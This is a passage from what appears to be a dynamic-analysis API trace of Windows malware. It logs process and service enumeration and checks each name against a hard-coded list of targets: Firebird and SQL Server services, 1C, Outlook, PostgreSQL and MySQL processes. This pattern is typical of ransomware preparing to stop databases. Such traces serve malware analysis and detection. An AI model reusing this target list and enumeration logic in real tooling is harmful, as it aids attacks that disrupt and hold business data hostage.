th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0036.808] lstrlenW (lpString="mobsync.exe") returned 11 [0036.808] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.808] lstrlenW (lpString="dllhost.exe") returned 11 [0036.808] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0036.809] lstrlenW (lpString="cmd.exe") returned 7 [0036.809] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0036.809] lstrlenW (lpString="conhost.exe") returned 11 [0036.809] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0036.809] lstrlenW (lpString="mode.com") returned 8 [0036.809] Process32NextW (in: hSnapshot=0x328, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0036.809] CloseHandle (hObject=0x328) returned 1 [0036.810] Sleep (dwMilliseconds=0x1f4) [0038.348] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297b30 [0038.431] EnumServicesStatusExW (in: hSCManager=0x3297b30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0038.434] GetLastError () returned 0xea [0038.434] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x11e4) returned 0x32982a0 [0038.434] EnumServicesStatusExW (in: hSCManager=0x3297b30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x32982a0, cbBufSize=0x11e4, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x32982a0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0038.437] CloseServiceHandle (hSCObject=0x3297b30) returned 1 [0038.441] lstrlenW (lpString="Appinfo") returned 7 [0038.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0038.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0038.441] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0038.441] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0038.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0038.441] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0038.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0038.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0038.441] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0038.441] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0038.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0038.441] lstrlenW (lpString="AudioSrv") returned 8 [0038.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0038.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0038.441] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0038.441] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0038.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0038.441] lstrlenW (lpString="BFE") returned 3 [0038.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0038.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0038.441] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0038.441] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0038.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0038.441] lstrlenW (lpString="CryptSvc") returned 8 [0038.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0038.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0038.441] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0038.441] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0038.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0038.441] lstrlenW (lpString="CscService") returned 10 [0038.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0038.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0038.442] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0038.442] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0038.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0038.442] lstrlenW (lpString="DcomLaunch") returned 10 [0038.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0038.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0038.442] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0038.442] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0038.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0038.442] lstrlenW (lpString="Dhcp") returned 4 [0038.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0038.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0038.442] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0038.442] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0038.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0038.442] lstrlenW (lpString="Dnscache") returned 8 [0038.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0038.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0038.442] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0038.442] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0038.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0038.442] lstrlenW (lpString="DPS") returned 3 [0038.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0038.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0038.442] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0038.442] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0038.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0038.443] lstrlenW (lpString="eventlog") returned 8 [0038.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0038.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0038.443] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0038.443] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0038.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0038.443] lstrlenW (lpString="EventSystem") returned 11 [0038.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0038.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0038.443] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0038.443] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0038.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0038.443] lstrlenW (lpString="gpsvc") returned 5 [0038.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0038.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0038.443] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0038.443] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0038.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0038.443] lstrlenW (lpString="iphlpsvc") returned 8 [0038.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0038.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0038.443] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0038.443] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0038.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0038.443] lstrlenW (lpString="LanmanServer") returned 12 [0038.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0038.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0038.443] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0038.443] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0038.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0038.443] lstrlenW (lpString="LanmanWorkstation") returned 17 [0038.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0038.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0038.444] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0038.444] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0038.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0038.444] lstrlenW (lpString="lmhosts") returned 7 [0038.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0038.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0038.444] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0038.444] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0038.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0038.444] lstrlenW (lpString="MMCSS") returned 5 [0038.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0038.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0038.444] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0038.444] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0038.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0038.444] lstrlenW (lpString="MpsSvc") returned 6 [0038.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0038.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0038.444] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0038.444] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0038.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0038.444] lstrlenW (lpString="Netman") returned 6 [0038.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0038.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0038.444] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0038.444] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0038.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0038.444] lstrlenW (lpString="netprofm") returned 8 [0038.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0038.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0038.444] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0038.444] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0038.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0038.445] lstrlenW (lpString="NlaSvc") returned 6 [0038.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0038.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0038.445] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0038.445] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0038.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0038.445] lstrlenW (lpString="nsi") returned 3 [0038.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0038.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0038.445] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0038.445] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0038.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0038.445] lstrlenW (lpString="PcaSvc") returned 6 [0038.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0038.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0038.445] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0038.445] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0038.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0038.445] lstrlenW (lpString="PlugPlay") returned 8 [0038.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0038.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0038.445] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0038.445] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0038.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0038.445] lstrlenW (lpString="Power") returned 5 [0038.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0038.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0038.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0038.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0038.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0038.445] lstrlenW (lpString="ProfSvc") returned 7 [0038.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0038.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0038.446] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0038.446] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0038.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0038.446] lstrlenW (lpString="RpcEptMapper") returned 12 [0038.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0038.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0038.446] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0038.446] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0038.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0038.446] lstrlenW (lpString="RpcSs") returned 5 [0038.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0038.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0038.446] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0038.446] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0038.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0038.446] lstrlenW (lpString="SamSs") returned 5 [0038.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0038.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0038.446] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0038.446] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0038.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0038.446] lstrlenW (lpString="Schedule") returned 8 [0038.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0038.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0038.446] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0038.446] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0038.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0038.446] lstrlenW (lpString="SENS") returned 4 [0038.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0038.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0038.446] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0038.446] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0038.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0038.447] lstrlenW (lpString="ShellHWDetection") returned 16 [0038.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0038.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0038.447] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0038.447] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0038.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0038.447] lstrlenW (lpString="Spooler") returned 7 [0038.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0038.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0038.447] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0038.447] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0038.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0038.447] lstrlenW (lpString="SysMain") returned 7 [0038.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0038.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0038.447] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0038.447] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0038.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0038.447] lstrlenW (lpString="Themes") returned 6 [0038.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0038.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0038.447] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0038.447] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0038.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0038.447] lstrlenW (lpString="TrkWks") returned 6 [0038.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0038.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0038.447] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0038.447] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0038.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0038.447] lstrlenW (lpString="UxSms") returned 5 [0038.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0038.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0038.448] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0038.448] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0038.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0038.448] lstrlenW (lpString="WdiServiceHost") returned 14 [0038.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0038.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0038.448] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0038.448] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0038.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0038.448] lstrlenW (lpString="WdiSystemHost") returned 13 [0038.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0038.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0038.448] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0038.448] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0038.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0038.448] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0038.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0038.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0038.448] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0038.448] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0038.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0038.448] lstrlenW (lpString="Winmgmt") returned 7 [0038.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0038.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0038.448] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0038.448] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0038.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0038.448] lstrlenW (lpString="WPDBusEnum") returned 10 [0038.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0038.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0038.448] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0038.448] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0038.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0038.449] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32982a0 | out: hHeap=0x790000) returned 1 [0038.449] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0038.450] Process32FirstW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0038.451] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0038.451] lstrlenW (lpString="System") returned 6 [0038.451] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0038.451] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0038.451] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0038.451] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0038.451] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0038.451] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0038.451] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0038.451] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0038.451] lstrlenW (lpString="smss.exe") returned 8 [0038.451] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0038.451] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0038.452] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0038.452] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0038.452] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0038.452] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0038.452] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0038.452] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0038.452] lstrlenW (lpString="csrss.exe") returned 9 [0038.452] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0038.452] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0038.452] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0038.452] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0038.452] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0038.452] lstrcmpiW (lpString1="mysqld.exe", 